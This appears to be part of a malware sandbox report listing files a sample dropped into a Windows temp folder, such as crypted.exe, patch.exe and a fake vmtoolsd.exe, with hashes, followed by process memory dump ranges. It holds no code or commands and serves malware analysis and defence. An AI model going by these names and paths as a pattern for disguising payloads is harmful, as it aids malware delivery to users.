                            • Path C:\Users\Admin\AppData\Local\Temp\Files\Tweeter%20Traffic.exe
                            • Size 683KB
                            • SHA256 a4071bcbccf061ccae8b89c4e87353fd3a2db2bc2e3ea97e7b83fc9391b271cc
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            bd2.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe
                            • Size 271KB
                            • SHA256 55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            conan.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\conan.exe
                            • Size 822KB
                            • SHA256 b84760ded0544c86d23849130082b99c3000b1e4ca5da0690fcdfbf2771b7993
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            crypted.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
                            • Size 316KB
                            • SHA256 4ebe4e62066ac10efc23e7b63e421cc153b426e036309dbf99e4a4aa97122782
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            crypted_69a30000.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\crypted_69a30000.exe
                            • Size 2.1MB
                            • SHA256 d6129031e25ad05a41f3e7da06b6a11d0d148133033fd865bad202a5165fb7c4
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            funta.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\funta.exe
                            • Size 2.2MB
                            • SHA256 f6f411fb4f2f3929ae61514c5f4b80b65e41af58534fb1ebe9b649eb33908d42
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            ghjkl.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
                            • Size 5.3MB
                            • SHA256 432747c04ab478a654328867d7ca806b52fedf1572c74712fa8b7c0edb71df67
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            gookcom.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\gookcom.exe
                            • Size 769KB
                            • SHA256 0a4d7ed03798e5257a21afc76553e538486316389bd54c9b9bcc03699ae21cd3
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            igfxCUIService%20Module.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                            • Size 12.0MB
                            • SHA256 fb271ea3bab8547869fec815396c389ace130cc6d8942d7098b9a6a9a3826a8f
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            installer.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\installer.exe
                            • Size 3.8MB
                            • SHA256 fe74dee5a9332cd3ed8f7ffa738599caf153956793a426dec6109e56d28258d1
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            ma.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
                            • Size 5.0MB
                            • SHA256 3bc9c1d7f87f71c9e98fac63c2f10d2651f51848082a85d6b3550649e4289d56
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            mk.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\mk.exe
                            • Size 297KB
                            • SHA256 dbcb61ce94c4d2d216de2b503937a2a964b984577f2d7730b7c6428b2b5e8db2
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            momsstiflersdgjboigfnbio.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\momsstiflersdgjboigfnbio.exe
                            • Size 21.0MB
                            • SHA256 b729cb7c7d368f60162b4ad181b3e124e22c846923afc40fe021cf2e85d0a8dd
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            patch.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\patch.exe
                            • Size 2.3MB
                            • SHA256 c39940efbbf790a7070e9fcf43cd2138c1791ed72cca1ddfdf2c9e4de549d485
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            __PSScriptPolicyTest_3nkj1blt.quu.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3nkj1blt.quu.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512
                            Submit Download

                            cadmium.msg
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\cadmium.msg
                            • Size 548KB
                            • SHA256 cc509929db978495f737a46b34395e288fad07541d4f4fa2e2377a933785e449
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            glib-2.0.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\glib-2.0.dll
                            • Size 1.0MB
                            • SHA256 030983470da06708cc55fd6aca92df199a051922b580db5db55c8cb6b203b51b
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            gmodule-2.0.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\gmodule-2.0.dll
                            • Size 24KB
                            • SHA256 2d6bc34b38bc0abf0c5e2f40e2513b4df47af57848534e011a76d4e974ad958b
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            gobject-2.0.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\gobject-2.0.dll
                            • Size 281KB
                            • SHA256 78dd76027e10c17824978db821777fcaa58d7cd5d5eb9d80d6ee817e26b18ab8
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            gthread-2.0.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\gthread-2.0.dll
                            • Size 31KB
                            • SHA256 dbaad965702b89c371462e735dd925c694eda8d8557b280f7264bba992c0e698
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            iconv.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\iconv.dll
                            • Size 1.1MB
                            • SHA256 84538f1aacebf9daad9fdb856611ab3d98a6d71c9ec79a8250eee694d2652a8b
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            intl.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\intl.dll
                            • Size 87KB
                            • SHA256 6a64c9cb0904ed48ce0d5cda137fcfd6dd463d84681436ca647b195aa2038a7e
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            shape.avi
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\shape.avi
                            • Size 67KB
                            • SHA256 707749cf619052155af5187007296ec524c9bd93d7b037647066782d005d288c
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            vmtools.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtools.dll
                            • Size 617KB
                            • SHA256 3b6b2b30827bb3f2fb39033f5f78ad7a8d89ebd06d17bef6f2e4e37069035ac1
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            vmtoolsd.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
                            • Size 63KB
                            • SHA256 bf933ccf86c55fc328e343b55dbf2e8ebd528e8a0a54f8f659cd0d4b4f261f26
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            fbdac156
                            • Path C:\Users\Admin\AppData\Local\Temp\fbdac156
                            • Size 721KB
                            • SHA256 de6e08110ca9c968b2072de867126745d81b3d6f5b2989e86acd7bd1c2165a49
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Test.runtimeconfig.json
                            • Path C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\Test.runtimeconfig.json
                            • Size 97B
                            • SHA256 a29aa7c522850e190bf64f5068364007e7d75985fe40bee3decba74991beb692
                            • MD5 SHA1 SHA512
                            Submit Download

                            Test.runtimeconfig.json
                            • Path C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\Test.runtimeconfig.json
                            • Size 97B
                            • SHA256 d351f91b7943f9ea9b1055abb758719c0508652e4225381cfb0497c820af5867
                            • MD5 SHA1 SHA512
                            Submit Download

                            Test.runtimeconfig.json
                            • Path C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\Test.runtimeconfig.json
                            • Size 97B
                            • SHA256 e81c39ffb1628161bec7e8cb667dcb9df2d5d334e57535286fc109e8c1a43bcf
                            • MD5 SHA1 SHA512
                            Submit Download

                            netcorecheck_x64.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe
                            • Size 140KB
                            • SHA256 3b26fe9d187ce9e8275e970bd3884acaae4e0bbf7089759b3378ba44201a3b8b
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            installer.tmp
                            • Path C:\Users\Admin\AppData\Local\Temp\is-AQB3U.tmp\installer.tmp
                            • Size 3.1MB
                            • SHA256 78724fc4b3fe290162544fa10ede6733c6b0d22979453de5686ca4ae2adf0737
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp31C4.tmp.bat
                            • Path C:\Users\Admin\AppData\Local\Temp\tmp31C4.tmp.bat
                            • Size 168B
                            • SHA256 b206e472da44e2c2686f6bab8abd63cd40f23096cf1ecf60cc20eb3171dd59df
                            • MD5 SHA1 SHA512
                            Submit Download

                            memory/1080-27-0x0000000005840000-0x0000000005850000-memory.dmp
                            Download

                            memory/1080-43-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/1080-30-0x0000000005840000-0x0000000005850000-memory.dmp
                            Download

                            memory/1080-29-0x00000000057E0000-0x0000000005836000-memory.dmp
                            Download

                            memory/1080-28-0x00000000055F0000-0x00000000055FA000-memory.dmp
                            Download

                            memory/1080-26-0x00000000056E0000-0x0000000005772000-memory.dmp
                            Download

                            memory/1080-25-0x0000000005C90000-0x0000000006236000-memory.dmp
                            Download

                            memory/1080-24-0x0000000000BF0000-0x0000000000CA0000-memory.dmp
                            Download

                            memory/1080-23-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/1820-290-0x00000000026E0000-0x00000000026E1000-memory.dmp
                            Download

                            memory/1920-173-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/1920-165-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/1920-177-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/1920-172-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/1920-168-0x00007FFB96180000-0x00007FFB96389000-memory.dmp
                            Download

                            memory/2324-273-0x0000000000400000-0x00000000004D8000-memory.dmp
                            Download

                            memory/2400-56-0x0000000004F70000-0x0000000004F72000-memory.dmp
                            Download

                            memory/2400-51-0x0000000004F40000-0x0000000004F41000-memory.dmp
                            Download

                            memory/2400-52-0x0000000004ED0000-0x0000000004ED1000-memory.dmp
                            Download

                            memory/2400-216-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-42-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-44-0x0000000077596000-0x0000000077598000-memory.dmp
                            Download

                            memory/2400-53-0x0000000004F30000-0x0000000004F31000-memory.dmp
                            Download

                            memory/2400-167-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-85-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-171-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-45-0x0000000004EB0000-0x0000000004EB1000-memory.dmp
                            Download

                            memory/2400-55-0x0000000004EE0000-0x0000000004EE1000-memory.dmp
                            Download

                            memory/2400-175-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-193-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-54-0x0000000004E80000-0x0000000004E81000-memory.dmp
                            Download

                            memory/2400-192-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-50-0x0000000004F10000-0x0000000004F11000-memory.dmp
                            Download

                            memory/2400-182-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-48-0x0000000004E90000-0x0000000004E91000-memory.dmp
                            Download

                            memory/2400-49-0x0000000004EF0000-0x0000000004EF1000-memory.dmp
                            Download

                            memory/2400-187-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-47-0x0000000004EA0000-0x0000000004EA1000-memory.dmp
                            Download

                            memory/2400-189-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2400-46-0x0000000004F20000-0x0000000004F21000-memory.dmp
                            Download

                            memory/2400-191-0x0000000000E70000-0x00000000013FB000-memory.dmp
                            Download

                            memory/2540-70-0x0000000003930000-0x0000000003931000-memory.dmp
                            Download

                            memory/2540-88-0x00007FFB86730000-0x00007FFB868AA000-memory.dmp
                            Download

                            memory/2540-86-0x00007FFB86730000-0x00007FFB868AA000-memory.dmp
                            Download

                            memory/2540-95-0x00007FFB86730000-0x00007FFB868AA000-memory.dmp
                            Download

                            memory/2540-84-0x0000000000400000-0x0000000001905000-memory.dmp
                            Download

                            memory/2540-110-0x00007FFB86730000-0x00007FFB868AA000-memory.dmp
                            Download

                            memory/2540-161-0x00007FFB86730000-0x00007FFB868AA000-memory.dmp
                            Download

                            memory/2736-180-0x0000000000B40000-0x0000000000B52000-memory.dmp
                            Download

                            memory/2736-176-0x000000006D5C0000-0x000000006E8D7000-memory.dmp
                            Download

                            memory/2736-190-0x0000000005310000-0x0000000005320000-memory.dmp
                            Download

                            memory/2736-188-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/2736-186-0x0000000005E70000-0x0000000005ED6000-memory.dmp
                            Download

                            memory/2736-183-0x0000000005310000-0x0000000005320000-memory.dmp
                            Download

                            memory/2736-181-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/2948-456-0x0000000000900000-0x0000000000978000-memory.dmp
                            Download

                            memory/2948-454-0x00007FFB75000000-0x00007FFB75AC2000-memory.dmp
                            Download

                            memory/2984-160-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/2984-159-0x00007FFB96180000-0x00007FFB96389000-memory.dmp
                            Download

                            memory/2984-163-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/2984-158-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/3164-411-0x0000000006730000-0x000000000697A000-memory.dmp
                            Download

                            memory/3164-409-0x00000000053B0000-0x00000000055F8000-memory.dmp
                            Download

                            memory/3164-406-0x00000000052A0000-0x00000000052B0000-memory.dmp
                            Download

                            memory/3164-403-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/3164-402-0x0000000000600000-0x0000000000924000-memory.dmp
                            Download

                            memory/3852-215-0x00007FFB75000000-0x00007FFB75AC2000-memory.dmp
                            Download

                            memory/3852-207-0x000000001C2F0000-0x000000001C300000-memory.dmp
                            Download

                            memory/3852-205-0x0000000000230000-0x0000000000734000-memory.dmp
                            Download

                            memory/3852-206-0x00007FFB75000000-0x00007FFB75AC2000-memory.dmp
                            Download

                            memory/3852-208-0x0000000001540000-0x0000000001541000-memory.dmp
                            Download

                            memory/4016-447-0x0000000140000000-0x00000001407DC000-memory.dmp
                            Download

                            memory/4152-127-0x000000006F2F0000-0x000000006F46D000-memory.dmp
                            Download

                            memory/4152-128-0x00007FFB96180000-0x00007FFB96389000-memory.dmp
                            Download

                            memory/4520-443-0x00007FFB75000000-0x00007FFB75AC2000-memory.dmp
                            Download

                            memory/4520-220-0x00007FFB75000000-0x00007FFB75AC2000-memory.dmp
                            Download

                            memory/4520-230-0x000000001CF50000-0x000000001CF60000-memory.dmp
                            Download

                            memory/4520-232-0x0000000001D50000-0x0000000001D51000-memory.dmp
                            Download

                            memory/4568-250-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-236-0x0000000005760000-0x0000000005C10000-memory.dmp
                            Download

                            memory/4568-274-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-248-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-246-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-244-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-242-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-240-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-237-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-238-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-252-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-258-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-254-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-235-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/4568-234-0x0000000000660000-0x0000000000BBA000-memory.dmp
                            Download

                            memory/4568-256-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-268-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4568-278-0x0000000005760000-0x0000000005C0B000-memory.dmp
                            Download

                            memory/4668-0-0x0000000000830000-0x0000000000838000-memory.dmp
                            Download

                            memory/4668-69-0x0000000005410000-0x0000000005420000-memory.dmp
                            Download

                            memory/4668-57-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download

                            memory/4668-3-0x0000000005410000-0x0000000005420000-memory.dmp
                            Download

                            memory/4668-2-0x0000000005280000-0x000000000531C000-memory.dmp
                            Download

                            memory/4668-1-0x0000000074930000-0x00000000750E1000-memory.dmp
                            Download